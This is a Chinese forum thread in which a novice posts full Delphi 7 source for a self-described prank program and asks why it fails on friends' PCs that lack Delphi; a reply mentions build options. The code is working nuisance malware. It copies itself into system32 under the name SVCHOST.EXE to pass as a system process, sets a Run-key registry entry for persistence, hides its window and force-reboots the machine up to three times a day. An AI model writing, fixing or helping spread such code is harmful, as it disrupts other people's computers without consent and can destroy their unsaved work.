我编了一个在特定情况下重新启动机器的程序
该程序为系统一启动就加载(修改注册表),并可以自我复制到特定的目录里还有一个程序是删除上面那个程序的
程序是得到硬盘的序列号,然后判断密码是否正确,便删除文件和删除注册表中上面哪个程序的启动建值这两个程序在我这里没出一点问题,但我发给其他没有安装DELPHI的朋友时,那个重启机器的就不能自我复制了,那个删除程序跟本就不能运行,但这两个程序发给一个有装DELPHI的朋友,他就能正常的运行请问DELPHI是不是和VB一样要带些什么库文件的啊?请高手指点指点!!
该程序为系统一启动就加载(修改注册表),并可以自我复制到特定的目录里还有一个程序是删除上面那个程序的
程序是得到硬盘的序列号,然后判断密码是否正确,便删除文件和删除注册表中上面哪个程序的启动建值这两个程序在我这里没出一点问题,但我发给其他没有安装DELPHI的朋友时,那个重启机器的就不能自我复制了,那个删除程序跟本就不能运行,但这两个程序发给一个有装DELPHI的朋友,他就能正常的运行请问DELPHI是不是和VB一样要带些什么库文件的啊?请高手指点指点!!
在那里有得选择啊?
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,registry,regstr, ImgList;type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
Button2: TButton;
Edit4: TEdit;
ImageList1: TImageList;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject); private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
time:integer;
registertemp:tregistry;
implementation{$R *.dfm}
//自定义重启函数
function My_ExitWindows(M_1Reboot_2Power: integer): Boolean; //重启(M:=1).关机(M:=2)
var
hToken: THANDLE;
hProc: THANDLE;
mLUID: TLargeInteger;
mPriv, mNewPriv: TOKEN_PRIVILEGES;
mBufferLength: DWord;
begin
Result:=false;
if not (M_1Reboot_2Power in [1, 2]) then exit;
hProc := GetCurrentProcess();
OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken);
LookupPrivilegeValue('', 'SeShutdownPrivilege', mLUID);
mPriv.PrivilegeCount := 1;
mPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
mPriv.Privileges[0].Luid := mLUID;
AdjustTokenPrivileges(hToken, False, mPriv, (4 + (12 * mPriv.PrivilegeCount)), mNewPriv, mBufferLength);
GetLastError;
case M_1Reboot_2Power of
1: Result := ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);//重起
2: Result := ExitWindowsEx(EWX_FORCE+EWX_POWEROFF, 0);//关机
end;
end;
//====================procedure TForm1.Timer1Timer(Sender: TObject);
begin
self.Hide; //隐藏窗口
timer1.Enabled :=false;
end;procedure TForm1.Timer2Timer(Sender: TObject);//重启计时
begin
time:=time-1;
if time mod 10=0 then
begin
if time=0 then
begin
timer2.Enabled :=false; my_exitwindows(1);//1重起2关机//调用重启函数 messagedlg('正在重新启动您的计算机!',mtwarning,[mbok],0);
end
else
begin
messagedlg('离重新启动您的计算机还有' + inttostr(time) + '秒,请你保存好你正在运行的程序,以免掉失数据。程序每日只会重新启动3次。本程序纯属为你开个玩笑,并不会破坏和盗取你计算机上的任何文件,如果你觉得这个程序妨碍你的工作,请与QQ:13913966联系!',mtwarning,[mbok],0);
end;
end;
edit1.Text :=inttostr(time);
end;procedure TForm1.FormCreate(Sender: TObject);
var
myday,myrun:string;begin
edit4.Text:=DateToStr(Date); //取出当前日期
myday:=edit4.Text;//把当前日期付给mydaytime:=61;//设定启动时间
//自我复制文件
copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);//写入注册表
registertemp:=tregistry.create;//准备使用注册表
with registertemp do
begin
registertemp.rootkey:=hkey_local_machine;//存放在此根下
registertemp.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
registertemp.WriteString('SVCHOST','c:\windows\system32\wins\SVCHOST.EXE');
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end;
//===========================================
registertemp:=tregistry.create;//准备使用注册表
with registertemp do
begin
registertemp.rootkey:=hkey_local_machine;
registertemp.OpenKey('SOFTWARE\retime',true); if registertemp.ReadString('retime') ='' then//如果retime还没有
registertemp.WriteString('retime','3');//就新建一个,并且付值为3 myrun:=registertemp.ReadString('day');//读出DAY付给myrun
if registertemp.ReadString('day')='' then//检查myrun是否存在
begin
//showmessage('DAY不存在');
if registertemp.ReadString('retime')='3' then//3次都未执行
begin
registertemp.WriteString('retime','2'); //改为2次
timer2.Enabled:=true;//打开计时
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='2'then
begin
registertemp.WriteString('retime','1');
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='1' then
begin
registertemp.WriteString('retime','3');//重新定为3次
registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end;
end
else if myrun<>myday then//如果注册表所记录日期不等于当前日期个话:
begin
if registertemp.ReadString('retime')='3' then//3次都未执行
begin
registertemp.WriteString('retime','2'); //改为2次
timer2.Enabled:=true;//打开计时
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='2'then
begin
registertemp.WriteString('retime','1');
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='1' then
begin
registertemp.WriteString('retime','3');//重新定为3次
registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end;
end
//else if myrun=myday then//如果当前日期相同
//application.Terminate; //终止程序
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);
end;procedure TForm1.Button2Click(Sender: TObject);
begin
deletefile('c:\windows\system32\wins\SVCHOST.exe');
end;end.
高手请指点!!!
在project option 菜单中有该选项,如果选中的话,程序本身会很小,一些包在运行时才调用大侠!不见有这个选项啊,我用的是Delphi7啊,能不能详细说说,我用DELPHI才1个星期左右啊,还很菜啊!千万不要见怪!